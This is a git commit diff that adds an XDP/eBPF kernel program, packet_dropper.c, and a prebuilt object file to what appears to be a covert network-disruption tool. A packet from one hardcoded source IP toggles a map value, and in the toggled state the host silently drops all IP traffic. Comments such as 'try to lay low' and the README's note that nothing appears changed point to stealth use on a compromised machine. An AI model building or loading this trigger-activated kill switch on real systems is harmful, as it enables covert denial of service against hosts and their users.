modified readme and added packet_dropper files

3 files changed, 78 insertions, 1 deletions

diff --git a/README.md b/README.md
index 0e6d352..b523fb4 100644
--- a/README.md
+++ b/README.md
@@ -22,7 +22,7 @@ Now that the driver is loaded, it is active. Nothing will appear to have changed
 
 ### Build information
 
-You need the linux headers, libbpf headers, libxdp headers and clang. Once you have all of these installed, run the following command to build the object file that can be loaded:
+A prebuild version has been provided, however to build you can do the following. You need the linux headers, libbpf headers, libxdp headers and clang. Once you have all of these installed, run the following command to build the object file that can be loaded:
 
 ```
 clang -O2 -g -Wall -target bpf -c packet_dropper.c -o packet_dropper.o
diff --git a/packet_dropper.c b/packet_dropper.c
new file mode 100644
index 0000000..d0a8d85
--- /dev/null
+++ b/packet_dropper.c
@@ -0,0 +1,77 @@
+#include <linux/bpf.h>
+#include <bpf/bpf_helpers.h>
+#include <linux/if_ether.h>
+#include <linux/in.h>
+#include <linux/if_packet.h>
+#include <linux/ip.h>
+#include <linux/tcp.h>
+
+struct {
+        __uint(type, BPF_MAP_TYPE_ARRAY);
+        __type(key, __u32);
+        __type(value, __u32);
+        __uint(max_entries, 1);
+} status SEC(".maps");
+
+SEC("xdpentry")
+int entry(struct xdp_md *ctx) {
+        // Prepare some data structures
+        __u32 *rec;
+        __u32 key = 0;
+        void *data_end = (void *)(long)ctx->data_end;
+        void *data = (void *)(long)ctx->data;
+        struct ethhdr *eth = data;
+
+        rec = bpf_map_lookup_elem(&status, &key); // Lookup current packet status from kernel map
+        if (!rec) {
+                return XDP_DROP; // try to lay low on error
+        }
+        //bpf_printk("Rec: %u", *rec); // Debug prints
+        if ((*rec != 55) && (*rec != 56)) {
+                // First run check
+                // bpf_printk("Resetting rec!"); // Debug Prints
+                *rec = 56; // set default value for map
+        }
+
+        if (eth + 1 > data_end) // Bounds checking for xdp preverifier
+                return XDP_PASS; // This should never run normally
+
+        /** if(eth->h_proto != ETH_P_IP) {
+                return XDP_PASS; // don't kill layer 2 traffic
+        } **/
+
+        struct iphdr *iph = data + sizeof(struct ethhdr);
+        if (iph + 1 > data_end) // More bounds checking
+                return XDP_PASS; // This should never run either
+                                 //
+        __u32 ip_src = iph->saddr; // grab source address of packet
+        // bpf_printk("Incoming packet: %u\n", ip_src); // Debug print
+        // Determine if we need to further process this packet
+        if (ip_src == 1946091487) {
+                // This packet had a destination of 223.255.254.115, do something!
+                // bpf_printk("Got it!, setting rec..."); // Debug print
+                switch (*rec) {
+                        case 55 :
+                                *rec = 56;
+                                break;
+                        case 56 :
+                                *rec = 55;
+                                break;
+                }
+                return XDP_DROP;
+        }
+        else if (ip_src == 0) {
+                // most likely a layer 2 packet, let it thru
+                return XDP_PASS;
+        }
+
+        // Finish processing
+        if (*rec == 55) {
+                return XDP_DROP;
+        } else {
+                return XDP_PASS;
+        }
+}
+
+
+char _license[] SEC("license")= "GPL";
diff --git a/packet_dropper.o b/packet_dropper.o
new file mode 100644
index 0000000..3958484
--- /dev/null
+++ b/packet_dropper.o